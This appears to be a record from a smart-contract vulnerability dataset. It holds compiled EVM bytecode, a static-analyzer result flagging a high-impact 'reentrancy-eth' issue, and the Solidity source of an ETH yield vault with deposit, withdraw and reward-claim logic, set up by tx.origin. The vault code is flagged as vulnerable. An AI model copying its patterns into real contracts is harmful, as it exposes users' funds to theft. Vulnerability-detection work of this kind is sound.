6000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205051c6b6000e7f7ee004946b714e0f26ba09c798aeedeed9801042872745c4fc64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,796 |
0xb822b6aacbc2a77ecd2bf20b9af533bc8ab74083
|
pragma solidity ^0.5.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface WETH {
function deposit() external payable;
function withdraw(uint wad) external;
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
}
interface Controller {
function withdraw(address, uint) external;
function balanceOf(address) external view returns (uint);
function earn(address, uint) external;
function rewards() external view returns (address);
}
contract VaultETH {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
IERC20 public YFToken; // YF合约地址
uint public min = 9500;
uint public constant max = 10000;
uint public earnLowerlimit; // 池内空余资金到这个值就自动earn
address public governance;
address public controller;
struct Player {
uint256 stake; // 质押总数
uint256 payout; // 支出
uint256 total_out; // 已经领取的分红
}
mapping(address => Player) public player_; // (player => data) player data
struct Global {
uint256 total_stake; // 总质押总数
uint256 total_out; // 总分红金额
uint256 earnings_per_share; // 每股分红
}
mapping(uint256 => Global) public global_; // (global => data) global data
mapping (address => uint256) public deposittime;
uint256 constant internal magnitude = 10**40; // 10的40次方
address constant public yf = address(0x96F9632b25f874769969ff91219fCCb6ceDf26D2);
string public getName;
constructor (address _token) public {
token = IERC20(_token);
getName = string(abi.encodePacked("yf:Vault:", ERC20Detailed(_token).name()));
YFToken = IERC20(yf);
governance = tx.origin;
controller = 0xcC8d36211374a08fC61d74ed2E48e22b922C9D7C;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
// 设置治理地址,必须验证原来治理地址的签名
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
// 设置目标token
function setToken(address _token) public {
require(msg.sender == governance, "!governance");
token = IERC20(_token);
}
// 设置控制器地址,必须验证治理地址的签名
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
function setEarnLowerlimit(uint256 _earnLowerlimit) public{
require(msg.sender == governance, "!governance");
earnLowerlimit = _earnLowerlimit;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
// 抵押代币给Strategy合约进行理财,代币路径如下 vault->controller->strategy
function earn() public {
uint _bal = available(); // 获取最小需要转给机枪池进行获取收益的代币个数
token.safeTransfer(controller, _bal); // 转账给控制合约
Controller(controller).earn(address(token), _bal); // 抵押代币给Strategy合约进行理财
}
// 存款 可以追加存款
function deposit(uint amount) public payable {
// uint _before = token.balanceOf(address(this));
// uint amount = msg.value;
// WETH(address(token)).deposit.value(amount)();
// uint _after = token.balanceOf(address(this));
// amount = _after.sub(_before); // Additional check for deflationary tokens
WETH(address(token)).deposit.value(amount)(); //Convert ETH into the WETH
// 增加该用户的存款总数
player_[msg.sender].stake = player_[msg.sender].stake.add(amount);
// 如果每股分红为0
if (global_[0].earnings_per_share != 0) {
player_[msg.sender].payout = player_[msg.sender].payout.add(
global_[0].earnings_per_share.mul(amount).sub(1).div(magnitude).add(1) // (((earnings_per_share*amount)-1)/magnitude)+1
);
}
// 增加全局已抵押的总量
global_[0].total_stake = global_[0].total_stake.add(amount);
// 如果当前池子合约中已经抵押的数量大于自动赚取收益的值时,自动将合约中的代币去第三方平台抵押
if (token.balanceOf(address(this)) > earnLowerlimit){
earn();
}
// 更新用户抵押时间
deposittime[msg.sender] = now;
}
// No rebalance implementation for lower fees and faster swaps
// 取款
function withdraw(uint amount) external {
claim(); // 首先获取当前未领取的收益
require(amount <= player_[msg.sender].stake, "!balance");
uint r = amount;
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) { // 如果vault合约中代币余额小于用户取款的余额,则需要去Strategy合约取款获得对应的代币
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw); // 取款
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) { // 策略器有可能会返回的代币变多,所以需要更新vault合约中的余额
r = b.add(_diff);
}
}
// 更新用户的已提取余额并且更新全局的每股收益
player_[msg.sender].payout = player_[msg.sender].payout.sub(
global_[0].earnings_per_share.mul(amount).div(magnitude)
);
// 更新全局存款量和用户存款量
player_[msg.sender].stake = player_[msg.sender].stake.sub(amount);
global_[0].total_stake = global_[0].total_stake.sub(amount);
// 转账给用户取款的代币
WETH(address(token)).withdraw(r);
address(msg.sender).transfer(r);
}
// Strategy.harvest 触发分红()
function make_profit(uint256 amount) public {
require(amount > 0, "not 0");
YFToken.safeTransferFrom(msg.sender, address(this), amount); // 挖矿收益存入当前合约(已扣除10%的手续费,90%的利润存进来)
global_[0].earnings_per_share = global_[0].earnings_per_share.add(
amount.mul(magnitude).div(global_[0].total_stake)
);
// 增加总分红金额
global_[0].total_out = global_[0].total_out.add(amount);
}
// 用户可领取的分红
function cal_out(address user) public view returns (uint256) {
uint256 _cal = global_[0].earnings_per_share.mul(player_[user].stake).div(magnitude);
if (_cal < player_[user].payout) {
return 0;
} else {
return _cal.sub(player_[user].payout);
}
}
// 某个用户在路上的分红(也就是分红还没有从挖矿合约领取.只能看到,无法领取,等harvest触发后就可以领取了)
function cal_out_pending(uint256 _pendingBalance,address user) public view returns (uint256) {
uint256 _earnings_per_share = global_[0].earnings_per_share.add(
_pendingBalance.mul(magnitude).div(global_[0].total_stake)
);
uint256 _cal = _earnings_per_share.mul(player_[user].stake).div(magnitude);
_cal = _cal.sub(cal_out(user));
if (_cal < player_[user].payout) {
return 0;
} else {
return _cal.sub(player_[user].payout);
}
}
// 用户领取分红
function claim() public {
uint256 out = cal_out(msg.sender);
player_[msg.sender].payout = global_[0].earnings_per_share.mul(player_[msg.sender].stake).div(magnitude);
player_[msg.sender].total_out = player_[msg.sender].total_out.add(out);
if (out > 0) {
uint256 _depositTime = now - deposittime[msg.sender];
if (_depositTime < 1 days) { // deposit in 24h
uint256 actually_out = _depositTime.mul(out).mul(1e18).div(1 days).div(1e18);
uint256 to_team = out.sub(actually_out);
YFToken.safeTransfer(Controller(controller).rewards(), to_team);
out = actually_out;
}
YFToken.safeTransfer(msg.sender, out);
}
}
// 合约的fallback函数调用了deposit方法(存款),这也意味着使用imtoken这样的钱包,直接给该合约地址转账以太币就能够完成兑换WETH
function () external payable {
if (msg.sender != address(token)) {
deposit(msg.value);
}
}
}
|
0x6080604052600436106101815760003560e01c8063909d3f4c116100d1578063d20a31d81161008a578063da4745b311610064578063da4745b314610561578063f77c47911461058b578063f8897945146105a0578063fc0c546a146105b557610181565b8063d20a31d8146104ef578063d389800f14610519578063d7e8e85b1461052e57610181565b8063909d3f4c1461041857806392eefe9b14610442578063ab033ea914610475578063ae000c8c146104a8578063b69ef8a8146104bd578063b6b55f25146104d257610181565b806348a0d7541161013e57806360a9f4581161011857806360a9f458146103825780636ac5db19146103bb57806378ce591d146103d05780638e087c781461040357610181565b806348a0d754146103315780634e71d92d146103585780635aa6e6751461036d57610181565b8063144fa6d71461019e57806317d7de7c146101d15780632b68b65b1461025b5780632de75221146102ac5780632e1a7d4d146102dd57806345dc3dd814610307575b6000546001600160a01b0316331461019c5761019c346105ca565b005b3480156101aa57600080fd5b5061019c600480360360208110156101c157600080fd5b50356001600160a01b0316610803565b3480156101dd57600080fd5b506101e6610872565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610220578181015183820152602001610208565b50505050905090810190601f16801561024d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026757600080fd5b5061028e6004803603602081101561027e57600080fd5b50356001600160a01b0316610900565b60408051938452602084019290925282820152519081900360600190f35b3480156102b857600080fd5b506102c1610921565b604080516001600160a01b039092168252519081900360200190f35b3480156102e957600080fd5b5061019c6004803603602081101561030057600080fd5b5035610930565b34801561031357600080fd5b5061019c6004803603602081101561032a57600080fd5b5035610caa565b34801561033d57600080fd5b50610346610cfc565b60408051918252519081900360200190f35b34801561036457600080fd5b5061019c610d96565b34801561037957600080fd5b506102c1610f58565b34801561038e57600080fd5b50610346600480360360408110156103a557600080fd5b50803590602001356001600160a01b0316610f67565b3480156103c757600080fd5b50610346611096565b3480156103dc57600080fd5b50610346600480360360208110156103f357600080fd5b50356001600160a01b031661109c565b34801561040f57600080fd5b5061034661115c565b34801561042457600080fd5b5061019c6004803603602081101561043b57600080fd5b5035611162565b34801561044e57600080fd5b5061019c6004803603602081101561046557600080fd5b50356001600160a01b03166111b4565b34801561048157600080fd5b5061019c6004803603602081101561049857600080fd5b50356001600160a01b0316611223565b3480156104b457600080fd5b506102c1611292565b3480156104c957600080fd5b506103466112aa565b61019c600480360360208110156104e857600080fd5b50356105ca565b3480156104fb57600080fd5b5061028e6004803603602081101561051257600080fd5b50356113af565b34801561052557600080fd5b5061019c6113d0565b34801561053a57600080fd5b506103466004803603602081101561055157600080fd5b50356001600160a01b0316611471565b34801561056d57600080fd5b5061019c6004803603602081101561058457600080fd5b5035611483565b34801561059757600080fd5b506102c1611597565b3480156105ac57600080fd5b506103466115a6565b3480156105c157600080fd5b506102c16115ac565b6000805460408051630d0e30db60e41b815290516001600160a01b039092169263d0e30db0928592600480820193929182900301818588803b15801561060f57600080fd5b505af1158015610623573d6000803e3d6000fd5b50503360009081526006602052604090205461064a9350915083905063ffffffff6115bb16565b336000908152600660209081526040822092909255805260079052600080516020611abc833981519152541561072057600080526007602052600080516020611abc8339815191525461070c906106ed906001906106e1906b1d6329f1c35ca4bfabb9f56160281b906106d59084906106c9908963ffffffff61161c16565b9063ffffffff61167516565b9063ffffffff6116b716565b9063ffffffff6115bb16565b336000908152600660205260409020600101549063ffffffff6115bb16565b336000908152600660205260409020600101555b600080526007602052600080516020611adc83398151915254610749908263ffffffff6115bb16565b600080805260076020908152600080516020611adc833981519152929092556003549054604080516370a0823160e01b8152306004820152905192936001600160a01b03909216926370a0823192602480840193919291829003018186803b1580156107b457600080fd5b505afa1580156107c8573d6000803e3d6000fd5b505050506040513d60208110156107de57600080fd5b505111156107ee576107ee6113d0565b50336000908152600860205260409020429055565b6004546001600160a01b03163314610850576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b6009805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b505050505081565b60066020526000908152604090208054600182015460029092015490919083565b6001546001600160a01b031681565b610938610d96565b33600090815260066020526040902054811115610987576040805162461bcd60e51b81526020600482015260086024820152672162616c616e636560c01b604482015290519081900360640190fd5b60008054604080516370a0823160e01b815230600482015290518493926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109d357600080fd5b505afa1580156109e7573d6000803e3d6000fd5b505050506040513d60208110156109fd57600080fd5b5051905081811015610b38576000610a1b838363ffffffff61167516565b600554600080546040805163f3fef3a360e01b81526001600160a01b03928316600482015260248101869052905194955092169263f3fef3a392604480820193929182900301818387803b158015610a7257600080fd5b505af1158015610a86573d6000803e3d6000fd5b505060008054604080516370a0823160e01b815230600482015290519294506001600160a01b0390911692506370a08231916024808301926020929190829003018186803b158015610ad757600080fd5b505afa158015610aeb573d6000803e3d6000fd5b505050506040513d6020811015610b0157600080fd5b505190506000610b17828563ffffffff61167516565b905082811015610b3457610b31848263ffffffff6115bb16565b94505b5050505b600080526007602052600080516020611abc83398151915254610b9990610b7a906b1d6329f1c35ca4bfabb9f56160281b906106d5908763ffffffff61161c16565b336000908152600660205260409020600101549063ffffffff61167516565b336000908152600660205260409020600181019190915554610bc1908463ffffffff61167516565b336000908152600660209081526040822092909255805260079052600080516020611adc83398151915254610bfc908463ffffffff61167516565b60008080526007602052600080516020611adc8339815191529190915580546040805163